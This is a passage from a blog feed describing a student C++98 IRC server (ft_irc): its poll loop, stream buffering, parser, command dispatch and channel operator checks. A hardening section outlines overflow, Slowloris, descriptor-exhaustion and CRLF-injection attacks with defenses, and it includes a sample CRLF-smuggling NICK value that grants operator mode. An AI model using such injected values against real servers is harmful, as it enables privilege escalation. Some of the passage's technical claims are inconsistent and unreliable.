&lt;p&gt;In each cycle of our engine, we invoke &lt;code&gt;poll(&amp;amp;_pollfds[0], _pollfds.size(), -1)&lt;/code&gt;. Passing an execution timeout of &lt;code&gt;-1&lt;/code&gt; instructs the operating system scheduler to put our process into a dormant zero-CPU standby state until an active physical network event transpires across at least one of our registered descriptors.&lt;/p&gt;
&lt;p&gt;When an event triggers, the kernel wakes up our daemon and modifies the &lt;code&gt;revents&lt;/code&gt; member of every targeted &lt;code&gt;pollfd&lt;/code&gt; record. Our system iterates through the array to dispatch network events:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Server.cpp -- Central multiplexing execution engine
void Server::runEventLoop() {
    this-&amp;gt;_isRunning = true;
    
    // Register master listening socket into poll array
    struct pollfd masterPollFd;
    masterPollFd.fd = this-&amp;gt;_serverSocketFd;
    masterPollFd.events = POLLIN;
    masterPollFd.revents = 0;
    this-&amp;gt;_pollfds.push_back(masterPollFd);

    while (this-&amp;gt;_isRunning) {
        // Sleep until network interrupt occurs across monitored descriptors
        int eventCount = poll(&amp;amp;this-&amp;gt;_pollfds[0], this-&amp;gt;_pollfds.size(), -1);
        if (eventCount == -1 &amp;amp;&amp;amp; !this-&amp;gt;_isRunning) {
            break; // Handle graceful shutdown upon POSIX signal catch (SIGINT/SIGTERM)
        }

        for (size_t i = 0; i &amp;lt; this-&amp;gt;_pollfds.size(); ++i) {
            // If kernel recorded zero network activity on this FD, continue
            if (this-&amp;gt;_pollfds[i].revents == 0) continue;

            // Check for critical connection drops or unrecoverable socket errors
            if (this-&amp;gt;_pollfds[i].revents &amp;amp; (POLLERR | POLLHUP | POLLNVAL)) {
                this-&amp;gt;disconnectClient(this-&amp;gt;_pollfds[i].fd, &quot;Network socket connection closed or errored.&quot;);
                continue;
            }

            // CASE A: New inbound connection handshake on master listening socket
            if (this-&amp;gt;_pollfds[i].fd == this-&amp;gt;_serverSocketFd &amp;amp;&amp;amp; (this-&amp;gt;_pollfds[i].revents &amp;amp; POLLIN)) {
                this-&amp;gt;acceptNewConnection();
            }
            // CASE B: Existing client has transmitted raw payload bytes to be read
            else if (this-&amp;gt;_pollfds[i].revents &amp;amp; POLLIN) {
                this-&amp;gt;readClientStream(this-&amp;gt;_pollfds[i].fd);
            }

            // CASE C: Outbound transmission queue has pending data waiting to exit buffer
            if (this-&amp;gt;_pollfds[i].revents &amp;amp; POLLOUT) {
                this-&amp;gt;flushClientOutput(this-&amp;gt;_pollfds[i].fd);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;4. The Streaming Paradox: Resolving TCP Packet Fragmentation&lt;/h2&gt;
&lt;p&gt;Perhaps the single most critical engineering pitfall in network socket engineering—and an intense failure vector for inexperienced bug bounty hunters evaluating protocol implementations—is forgetting that &lt;strong&gt;TCP is a stream-based protocol, not a message-based protocol&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Unlike User Datagram Protocol (UDP), where each individual message is transmitted inside a distinct, atomic datagram envelope, TCP provides an continuous, undifferentiated byte stream abstraction. When a client application executes &lt;code&gt;send(&quot;USER onevilx * 0 :Youssef\r\n&quot;)&lt;/code&gt;, the operating system network stack may fragment or aggregate those characters across arbitrary MTU (Maximum Transmission Unit) frames over the physical wire.&lt;/p&gt;
&lt;p&gt;When our server invokes &lt;code&gt;recv(clientFd, buffer, sizeof(buffer), 0)&lt;/code&gt;, there are three absolute real-world scenarios that will occur:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ideal Transmission:&lt;/strong&gt; Exactly one full IRC command is received (&lt;code&gt;NICK onevilx\r\n&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packet Aggregation (Pipelining):&lt;/strong&gt; Multiple distinct commands arrive bunched together inside a single TCP read operation (&lt;code&gt;PASS mysecret123\r\nNICK onevilx\r\nUSER onevilx * 0 :Youssef\r\n&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packet Fragmentation:&lt;/strong&gt; A single command arrives partially split across multiple distinct TCP read events. The first &lt;code&gt;recv()&lt;/code&gt; yields &lt;code&gt;&quot;PRIVMSG #hackers :Hello how are y&quot;&lt;/code&gt;, while the subsequent read 40 milliseconds later yields &lt;code&gt;&quot;ou doing today?\r\n&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If our server attempts to execute protocol parser commands immediately against raw read buffer arrays without stream accumulation, application logic will fatally crash or misparse parameters whenever network jitter occurs!&lt;/p&gt;
&lt;h3&gt;4.1 Engineered Ring-Buffer State Accumulation&lt;/h3&gt;
&lt;p&gt;To solve this deterministic problem, we assign a dedicated dynamic &lt;strong&gt;Read Ring Buffer&lt;/strong&gt; (&lt;code&gt;std::string _readBuffer&lt;/code&gt;) and &lt;strong&gt;Write Ring Buffer&lt;/strong&gt; (&lt;code&gt;std::string _writeBuffer&lt;/code&gt;) to every single &lt;code&gt;Client&lt;/code&gt; class instance in memory.&lt;/p&gt;
&lt;p&gt;When bytes arrive via &lt;code&gt;POLLIN&lt;/code&gt;, we read up to 4096 raw bytes via &lt;code&gt;recv()&lt;/code&gt; and append them directly to the client&apos;s continuous internal staging buffer string. We then enter an analytical string scanning loop that iterates over the staging buffer searching for the unambiguous RFC 1459 command terminator sequence: Carriage-Return + Line-Feed (&lt;strong&gt;&lt;code&gt;\r\n&lt;/code&gt;&lt;/strong&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Client.cpp -- Handling TCP Stream fragmentation and extraction
void Server::readClientStream(int fd) {
    char tempBuf[4096];
    std::memset(tempBuf, 0, sizeof(tempBuf));
    
    ssize_t bytesRead = recv(fd, tempBuf, sizeof(tempBuf) - 1, 0);
    if (bytesRead &amp;lt;= 0) {
        // TCP Zero-byte receive confirms remote client gracefully closed socket (EOF)
        this-&amp;gt;disconnectClient(fd, &quot;Remote client closed network transmission.&quot;);
        return;
    }

    Client* currentClient = this-&amp;gt;getClientByFd(fd);
    if (!currentClient) return;

    // Append newly received raw network stream bytes to client&apos;s persistent buffer
    currentClient-&amp;gt;appendReadBuffer(tempBuf);

    // Enforce protocol safety ceiling against DoS memory depletion attacks (512 bytes per RFC)
    if (currentClient-&amp;gt;getReadBuffer().length() &amp;gt; 2048 &amp;amp;&amp;amp; currentClient-&amp;gt;getReadBuffer().find(&quot;\r\n&quot;) == std::string::npos) {
        this-&amp;gt;disconnectClient(fd, &quot;Security Violation: Max command length exceeded without termination.&quot;);
        return;
    }

    // Continuously extract complete commands whenever valid \r\n terminator is present
    std::string commandString;
    while (currentClient-&amp;gt;extractNextCommand(commandString)) {
        this-&amp;gt;parseAndDispatchCommand(currentClient, commandString);
    }
}

// Client helper: Safe extraction of atomic commands from stream queue
bool Client::extractNextCommand(std::string&amp;amp; outCommand) {
    size_t delimiterPos = this-&amp;gt;_readBuffer.find(&quot;\r\n&quot;);
    if (delimiterPos == std::string::npos) {
        // Terminator absent; partial fragmentation event. Await next TCP window!
        return false;
    }

    // Extract exact command string up to delimiter point
    outCommand = this-&amp;gt;_readBuffer.substr(0, delimiterPos);
    // Slice off consumed payload plus the 2-byte \r\n sequence from ring buffer
    this-&amp;gt;_readBuffer.erase(0, delimiterPos + 2);
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This staging design guarantees zero packet contamination and insulates protocol execution from all network timing variances and fragmentation quirks.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Lexical Parser &amp;amp; Command Dispatcher Mechanics&lt;/h2&gt;
&lt;p&gt;Once a pristine, un-fragmented instruction string is extracted from our buffer, it enters the &lt;strong&gt;Protocol Parser Engine&lt;/strong&gt;. According to RFC 2812 Section 2.3, every valid IRC message follows a strict grammar format:&lt;/p&gt;
&lt;p&gt;$$\text{[&quot;:&quot; &amp;lt;prefix&amp;gt; &quot; &quot;] &amp;lt;command&amp;gt; [&quot; &quot; &amp;lt;parameter&amp;gt;]* [&quot;:&quot; &amp;lt;trailing&amp;gt;]}$$&lt;/p&gt;
&lt;p&gt;Consider the real-world complex transmission string:
&lt;code&gt;&quot;:onevilx!youssef@127.0.0.1 PRIVMSG #ctf-operations :We just bypassed the root WAF payload!&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Our Lexical Analyzer deconstructs this input via a structured three-step state loop:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Prefix Identification:&lt;/strong&gt; If the string begins with a colon (&lt;code&gt;:&lt;/code&gt;), the subsequent token represents the message originator prefix (used primarily for server-to-server routing and identity verification).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Command Tokenization:&lt;/strong&gt; The next uppercase alphanumeric sequence is extracted as the instruction operator (&lt;code&gt;PRIVMSG&lt;/code&gt;, &lt;code&gt;JOIN&lt;/code&gt;, &lt;code&gt;MODE&lt;/code&gt;, &lt;code&gt;NICK&lt;/code&gt;, &lt;code&gt;KICK&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parameter Scaffolding:&lt;/strong&gt; Remaining tokens separated by whitespace are collected into an ordered parameter vector (&lt;code&gt;std::vector&amp;lt;std::string&amp;gt;&lt;/code&gt;). If an individual argument begins with an explicit colon (&lt;code&gt;:&lt;/code&gt;), all subsequent whitespace characters are treated as literal text belonging to a singular trailing parameter string (&lt;code&gt;&quot;We just bypassed the root WAF payload!&quot;&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;struct IrcMessage {
    std::string prefix;
    std::string command;
    std::vector&amp;lt;std::string&amp;gt; params;
    std::string trailing;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.1 O(1) Command Dispatcher via Function Pointer Maps&lt;/h3&gt;
&lt;p&gt;A naive engineering implementation of command routing typically utilizes endless cascading &lt;code&gt;if / else if&lt;/code&gt; string comparison trees:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (cmd == &quot;JOIN&quot;) handleJoin(...);
else if (cmd == &quot;NICK&quot;) handleNick(...);
else if (cmd == &quot;PRIVMSG&quot;) handlePrivmsg(...);
// ... fifty iterations later ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach incurs substantial CPU execution degradation as command quantity multiplies, degrading overall string matching efficiency to $O(N)$. To enforce maximum execution velocity in C++98, we instantiate a static &lt;strong&gt;Member Function Pointer Dispatch Table&lt;/strong&gt; during server bootstrap.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// CommandDispatcher typedef definition in C++98 syntax
typedef void (Server::*CommandHandler)(Client* sender, const IrcMessage&amp;amp; msg);

// Bootstrap initialization of constant hashing map
void Server::initCommandMap() {
    this-&amp;gt;_commandTable[&quot;PASS&quot;]    = &amp;amp;Server::handlePass;
    this-&amp;gt;_commandTable[&quot;NICK&quot;]    = &amp;amp;Server::handleNick;
    this-&amp;gt;_commandTable[&quot;USER&quot;]    = &amp;amp;Server::handleUser;
    this-&amp;gt;_commandTable[&quot;PING&quot;]    = &amp;amp;Server::handlePing;
    this-&amp;gt;_commandTable[&quot;PONG&quot;]    = &amp;amp;Server::handlePong;
    this-&amp;gt;_commandTable[&quot;JOIN&quot;]    = &amp;amp;Server::handleJoin;
    this-&amp;gt;_commandTable[&quot;PART&quot;]    = &amp;amp;Server::handlePart;
    this-&amp;gt;_commandTable[&quot;PRIVMSG&quot;] = &amp;amp;Server::handlePrivmsg;
    this-&amp;gt;_commandTable[&quot;NOTICE&quot;]  = &amp;amp;Server::handleNotice;
    this-&amp;gt;_commandTable[&quot;TOPIC&quot;]   = &amp;amp;Server::handleTopic;
    this-&amp;gt;_commandTable[&quot;KICK&quot;]    = &amp;amp;Server::handleKick;
    this-&amp;gt;_commandTable[&quot;INVITE&quot;]  = &amp;amp;Server::handleInvite;
    this-&amp;gt;_commandTable[&quot;MODE&quot;]    = &amp;amp;Server::handleMode;
    this-&amp;gt;_commandTable[&quot;QUIT&quot;]    = &amp;amp;Server::handleQuit;
}

// Zero-overhead Command Routing invocation
void Server::parseAndDispatchCommand(Client* client, const std::string&amp;amp; rawLine) {
    IrcMessage msg = this-&amp;gt;lexMessage(rawLine);
    
    // Validate whether command token exists inside dispatch register
    std::map&amp;lt;std::string, CommandHandler&amp;gt;::iterator it = this-&amp;gt;_commandTable.find(msg.command);
    if (it != this-&amp;gt;_commandTable.end()) {
        CommandHandler handler = it-&amp;gt;second;
        // Invoke target member function pointer directly against Server context
        (this-&amp;gt;*handler)(client, msg);
    } else {
        // RFC 2812 Standard Response for unsupported instruction attempts
        this-&amp;gt;sendNumericReply(client, ERR_UNKNOWNCOMMAND, msg.command + &quot; :Unknown command&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By leveraging &lt;code&gt;std::map&lt;/code&gt; red-black tree structures, our instruction lookups execute in guaranteed logarithmic computational time $O(\log N)$ with complete structural cleanliness and zero branching complexity.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Channel Multiplexing &amp;amp; Access Control List (ACL) Engine&lt;/h2&gt;
&lt;p&gt;The lifeblood of Internet Relay Chat is collaborative interaction across independent communication hubs known as &lt;strong&gt;Channels&lt;/strong&gt;. In &lt;code&gt;ft_irc&lt;/code&gt;, a &lt;code&gt;Channel&lt;/code&gt; is an independent object maintaining dynamic internal registries that regulate connectivity, data distribution, and security clearances.&lt;/p&gt;
&lt;h3&gt;6.1 Channel Mode Matrix &amp;amp; Authorization Bypasses&lt;/h3&gt;
&lt;p&gt;To satisfy enterprise simulation standards, our system natively implements five foundational channel mode security controls defined under RFC 2812 Section 3.2.3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                     CHANNEL SECURITY MODE PRIVILEGE REGISTRY                |
+-------+-----------------------------+---------------------------------------+
| Flag  | Mode Classification         | Architectural Functionality            |
+-------+-----------------------------+---------------------------------------+
|  +i   | Invite-Only Enforcement     | Blocks unauthorized JOIN attempts     |
|       |                             | without an active presence on ACL     |
|       |                             | invitation ledger.                    |
+-------+-----------------------------+---------------------------------------+
|  +t   | Topic Protection Restriction| Prevents standard participants from   |
|       |                             | modifying channel subject string;     |
|       |                             | restricted to Operator identities.    |
+-------+-----------------------------+---------------------------------------+
|  +k   | Cryptographic Keyword Shield| Mandates matching password verification|
|       |                             | during JOIN packet parsing.           |
+-------+-----------------------------+---------------------------------------+
|  +l   | Saturation Capacity Ceiling | Sets hard numerical user capacity limit|
|       |                             | blocking further inbound connections. |
+-------+-----------------------------+---------------------------------------+
|  +o   | Channel Operator Privilege  | Grants user administrative execution  |
|       |                             | rights (KICK, MODE, INVITE commands). |
+-------+-----------------------------+---------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an unverified client issues an administrative instruction—such as attempting to eject a fellow developer using &lt;code&gt;KICK #1337-ctf victim :Spamming comments&lt;/code&gt;—the server executes an aggressive authorization pipeline:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void Server::handleKick(Client* sender, const IrcMessage&amp;amp; msg) {
    if (msg.params.size() &amp;lt; 2) {
        return this-&amp;gt;sendNumericReply(sender, ERR_NEEDMOREPARAMS, &quot;KICK :Not enough parameters&quot;);
    }

    std::string channelName = msg.params[0];
    std::string targetNick  = msg.params[1];
    std::string reason      = msg.trailing.empty() ? &quot;Ejected by channel operator&quot; : msg.trailing;

    Channel* chan = this-&amp;gt;getChannelByName(channelName);
    if (!chan) {
        return this-&amp;gt;sendNumericReply(sender, ERR_NOSUCHCHANNEL, channelName + &quot; :No such channel&quot;);
    }

    // Step 1: Verify sender presence inside target channel
    if (!chan-&amp;gt;isMember(sender)) {
        return this-&amp;gt;sendNumericReply(sender, ERR_NOTONCHANNEL, channelName + &quot; :You&apos;re not on that channel&quot;);
    }

    // Step 2: CRITICAL SECURITY CHECK — Validate Channel Operator Clearance
    if (!chan-&amp;gt;isOperator(sender)) {
        // Unauthorized access attempt thwarted!
        return this-&amp;gt;sendNumericReply(sender, ERR_CHANOPRIVSNEEDED, channelName + &quot; :You&apos;re not channel operator&quot;);
    }

    // Step 3: Confirm targeted victim is actively situated in channel
    Client* victim = this-&amp;gt;getClientByNick(targetNick);
    if (!victim || !chan-&amp;gt;isMember(victim)) {
        return this-&amp;gt;sendNumericReply(sender, ERR_USERNOTINCHANNEL, targetNick + &quot; &quot; + channelName + &quot; :They aren&apos;t on that channel&quot;);
    }

    // Step 4: Construct standardized broadcast payload and transmit to all active members
    std::string kickPacket = &quot;:&quot; + sender-&amp;gt;getPrefix() + &quot; KICK &quot; + channelName + &quot; &quot; + targetNick + &quot; :&quot; + reason + &quot;\r\n&quot;;
    chan-&amp;gt;broadcastToAll(kickPacket);
    
    // Step 5: Execute atomic disconnection of victim from internal channel ledger
    chan-&amp;gt;removeMember(victim);
    if (chan-&amp;gt;getMemberCount() == 0) {
        this-&amp;gt;destroyChannel(channelName); // RAII automatic cleanup of deserted channel
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 O(N) Broadcasting &amp;amp; Dead-Lock Prevention&lt;/h3&gt;
&lt;p&gt;When transmitting messages across a channel (&lt;code&gt;PRIVMSG #general :Hello World!&lt;/code&gt;), our broadcast engine iterates through the channel’s member list and appends the payload into each target user&apos;s &lt;strong&gt;Write Ring Buffer&lt;/strong&gt; (&lt;code&gt;_writeBuffer&lt;/code&gt;). Crucially, we perform an explicit conditional evaluation (&lt;code&gt;if (targetClient != sender)&lt;/code&gt;) to prevent echo loops, ensuring that the authoring sender does not receive an identical, duplicated reflection of their own packet transmission!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Offensive Security Analysis: Hardening an Custom Server&lt;/h2&gt;
&lt;p&gt;As a Bug Bounty Hunter and offensive security researcher, deploying a custom network server without conducting aggressive vulnerability analysis is unacceptable. Designing an IRC engine from scratch in raw C++ opens the door to severe low-level memory corruption vulnerabilities, logical race conditions, and denial of service exploitation vectors.&lt;/p&gt;
&lt;p&gt;Here is an analytical assessment of four primary attack vectors targeted during our offensive penetration hardening phase:&lt;/p&gt;
&lt;h3&gt;7.1 Buffer Overflows via Unbounded String Manipulation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Attack Vector:&lt;/strong&gt; In raw C, utilizing legacy standard IO functions (&lt;code&gt;strcpy&lt;/code&gt;, &lt;code&gt;sprintf&lt;/code&gt;, &lt;code&gt;strcat&lt;/code&gt;) without absolute bounds checking allows an attacker to transmit an excessively long nickname argument (&lt;code&gt;NICK AAAAAAAAAAAAAAAAA...x4000&lt;/code&gt;), overwriting stack memory registers and overriding the application Instruction Pointer (&lt;code&gt;EIP&lt;/code&gt;/&lt;code&gt;RIP&lt;/code&gt;) to execute arbitrary injected shellcode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Hardening Defense:&lt;/strong&gt; In &lt;code&gt;ft_irc&lt;/code&gt;, legacy C-string pointer operations are prohibited. All text accumulation and lexical parsing operations utilize standard heap-allocated C++ containers (&lt;code&gt;std::string&lt;/code&gt;, &lt;code&gt;std::vector&lt;/code&gt;). When string buffer boundaries expand, standard allocation libraries manage contiguous memory scaling safely, eliminating stack overflow possibilities entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 Denial of Service (DoS): Slowloris Stream Exhaustion&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Attack Vector:&lt;/strong&gt; A hostile actor initializes hundreds of legitimate TCP connections to port &lt;code&gt;6667&lt;/code&gt;, but deliberately withholds sending an explicit CRLF terminator sequence (&lt;code&gt;\r\n&lt;/code&gt;). Instead, they transmit a single character every 25 seconds (&lt;code&gt;N&lt;/code&gt; ... sleep ... &lt;code&gt;I&lt;/code&gt; ... sleep ... &lt;code&gt;C&lt;/code&gt; ...). Naive threaded architectures lock execution threads indefinitely waiting for command completion, depleting total system resources and triggering total denial of service for legitimate users.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Hardening Defense:&lt;/strong&gt; Because our asynchronous polling engine utilizes non-blocking sockets, lingering connections consume zero processing CPU execution cycles. Furthermore, our system implements an aggressive security constraint: if an individual client’s staging &lt;code&gt;_readBuffer&lt;/code&gt; exceeds &lt;strong&gt;2048 bytes&lt;/strong&gt; without containing a valid termination delimiter, the connection is flagged as malicious, forcefully terminated via &lt;code&gt;close(fd)&lt;/code&gt;, and purged from the poll monitoring array.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 File Descriptor Exhaustion &amp;amp; Socket Leaks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Attack Vector:&lt;/strong&gt; Linux kernel architecture assigns a finite cap on total open File Descriptors available per executing user or process configuration (&lt;code&gt;ulimit -n&lt;/code&gt;, traditionally capped at 1024). If an attacker scripts an aggressive rapid-reconnection flooding loop (repeatedly executing TCP SYN-ACK handshakes followed by immediate silent client teardown without sending &lt;code&gt;QUIT&lt;/code&gt;), a vulnerable server that fails to cleanly intercept connection termination exceptions will leak orphaned sockets until every descriptor slot is exhausted. Once saturated, &lt;code&gt;accept()&lt;/code&gt; returns &lt;code&gt;-1 EMFILE&lt;/code&gt; (Too many open files), taking the entire communications server offline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Hardening Defense:&lt;/strong&gt; Our main polling engine inspects error flags (&lt;code&gt;POLLERR&lt;/code&gt;, &lt;code&gt;POLLHUP&lt;/code&gt;, &lt;code&gt;POLLNVAL&lt;/code&gt;) on every single iteration cycle before evaluating read events. When a socket disconnect or error is detected, an explicit cleanup sequence executes:
&lt;ol&gt;
&lt;li&gt;The socket descriptor is forcefully severed using system &lt;code&gt;close(fd)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The pointer instance is entirely detached from all active &lt;code&gt;Channel&lt;/code&gt; participation registries.&lt;/li&gt;
&lt;li&gt;The associated memory pointer is explicitly de-allocated via C++ &lt;code&gt;delete&lt;/code&gt;, preventing RAM memory leak anomalies verified under rigorous &lt;strong&gt;Valgrind&lt;/strong&gt; and &lt;strong&gt;AddressSanitizer&lt;/strong&gt; debugging audits.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.4 Protocol Parser Injection (CRLF Splitting)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Attack Vector:&lt;/strong&gt; Similar to HTTP Response Splitting vulnerabilities found in modern web bug hunting, if an IRC server implicitly trusts unvalidated user input when generating broadcast payloads, an attacker can inject malicious carriage returns (&lt;code&gt;\r\n&lt;/code&gt;) directly inside parameter strings. For instance, registering a nickname containing embedded CRLF tokens: &lt;code&gt;NICK &quot;attacker\r\n:serv MODE #secret +o attacker&quot;&lt;/code&gt;. If the server blindly propagates this string into channel notification broadcasts without sanitization, recipient clients interpret the injected sub-string as an authentic administrative promotion command originating from the main hosting server!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Hardening Defense:&lt;/strong&gt; Our lexical engine executes mandatory validation across all identity modification inputs (&lt;code&gt;NICK&lt;/code&gt;, &lt;code&gt;USER&lt;/code&gt;, &lt;code&gt;TOPIC&lt;/code&gt;). Any incoming parameter string containing forbidden control characters—specifically &lt;code&gt;\r&lt;/code&gt; (0x0D), &lt;code&gt;\n&lt;/code&gt; (0x0A), null terminators (&lt;code&gt;0x00&lt;/code&gt;), or unassigned whitespace tokens—is outright rejected with standardized error transmission code &lt;code&gt;ERR_ERRONEUSNICKNAME&lt;/code&gt; (&lt;code&gt;432&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Verification, Testing &amp;amp; Industrial Interoperation&lt;/h2&gt;
&lt;p&gt;An IRC server cannot be declared operational in isolation; it must survive interrogation against rigorous, established industry standards and commercial desktop clients.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                      INTEROPERABILITY VERIFICATION TEST BED                 |
+---------------------+-------------------------------------------------------+
| Client Application  | Validation Target &amp;amp; Test Result                      |
+---------------------+-------------------------------------------------------+
| 1. Irssi (Terminal) | Verified continuous PING/PONG keep-alive handshakes   |
|                     | and multi-window channel switching without exceptions.|
| 2. WeeChat          | Confirmed accurate formatting of numeric replies      |
|                     | (RPL_WELCOME, RPL_NAMREPLY, RPL_ENDOFNAMES).          |
| 3. HexChat (GUI)    | Tested rapid graphical channel listing, topic         |
|                     | mutations, and real-time private direct message tabs. |
| 4. Netcat / Telnet  | Executed manual string injection, partial TCP frames, |
|                     | and protocol fuzzing evaluations.                     |
+---------------------+-------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8.1 Fuzzing under Automated Python Pipelines&lt;/h3&gt;
&lt;p&gt;To ensure absolute reliability against memory leakage and race conditions, we designed custom automated Python stress-testing scripts utilizing raw asynchronous &lt;code&gt;asyncio&lt;/code&gt; networking streams. Our fuzzing suite simultaneously launches &lt;strong&gt;500 concurrent phantom clients&lt;/strong&gt; that aggressively bombard the &lt;code&gt;ft_irc&lt;/code&gt; port with randomized payload streams, intentionally fragmented commands, simultaneous massive channel joins (&lt;code&gt;JOIN #fuzz1, #fuzz2, #fuzz3&lt;/code&gt;), and rapid abrupt socket disconnections.&lt;/p&gt;
&lt;p&gt;Throughout continuous 4-hour high-capacity bombardment evaluations, the server was monitored directly under &lt;strong&gt;Valgrind Memcheck&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;valgrind --leak-check=full --show-leak-kinds=all --track-origins=yes ./ircserv 6667 m337P@ss
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; Zero orphaned bytes reported in total heap usage analysis. All dynamically constructed socket descriptors and class instances were deterministically reclaimed across every single lifecycle teardown!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Conclusion: Why Low-Level Protocol Literacy Matters&lt;/h2&gt;
&lt;p&gt;Building &lt;strong&gt;ft_irc&lt;/strong&gt; from the bare metal up rewired my comprehension of network systems engineering. When you debug a mysterious bug where an IRC client drops connection after five minutes, only to discover through raw Wireshark packet hex-dump tracing that your server omitted a required leading colon (&lt;code&gt;:&lt;/code&gt;) inside an automated &lt;code&gt;PONG :&amp;lt;token&amp;gt;&lt;/code&gt; challenge reply, you attain a level of intuition that high-level abstract programming can never impart.&lt;/p&gt;
&lt;p&gt;For cybersecurity operators, penetration testers, and offensive bug hunters, writing a complex network server in pure C++ reveals exactly how subtle syntax logic anomalies, imperfect parsing loops, and memory resource miscalculations translate into explosive field vulnerabilities. You stop seeing protocols as rigid, untouchable abstractions—and begin recognizing them as complex, dynamic machines waiting to be inspected, optimized, or constructively disrupted.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Explore the Codebase&lt;/h3&gt;
&lt;p&gt;Ready to inspect the architecture, review the custom non-blocking poll loops, and test the server implementation directly in your environment? Access the full, documented repository on GitHub:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center gap-4 mb-4 sm:mb-0&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl&quot;&amp;gt;
C++98
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-lg font-bold text-90 m-0&quot;&amp;gt;onevilx / ft_irc&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-sm text-50 m-0&quot;&amp;gt;Custom high-performance RFC 2812 IRC server engineered in pure C++98&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/ft_irc&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; class=&quot;no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto&quot;&amp;gt;
View Repository on GitHub →
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Inception — Multi-Container DevOps Infrastructure</title><link>https://www.onevilx.tech/posts/inception-docker-project/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/inception-docker-project/</guid><description>An exhaustive architectural deep-dive into engineering an enterprise-grade, secure multi-container web infrastructure from scratch using Docker, Docker Compose, Nginx TLS, PHP-FPM, and MariaDB at 1337 School (42 Network).</description><pubDate>Mon, 02 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Source Code &amp;amp; Complete Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/inception&quot;&gt;onevilx/inception&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Infrastructure Stack:&lt;/strong&gt; Docker / Docker Compose / Custom TLS Reverse Proxy&lt;br /&gt;
&lt;strong&gt;Environment:&lt;/strong&gt; 1337 School (42 Network)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;Modern container virtualization has radically transformed software deployment, cloud orchestration, and enterprise DevOps infrastructure. When an engineering organization scales applications across complex distributed topologies—from single-server bare metal environments to Kubernetes cloud clusters—the dividing line between resilient system uptime and catastrophic infrastructure collapse lies entirely in how cleanly systems decouple process execution from system resource dependency.&lt;/p&gt;
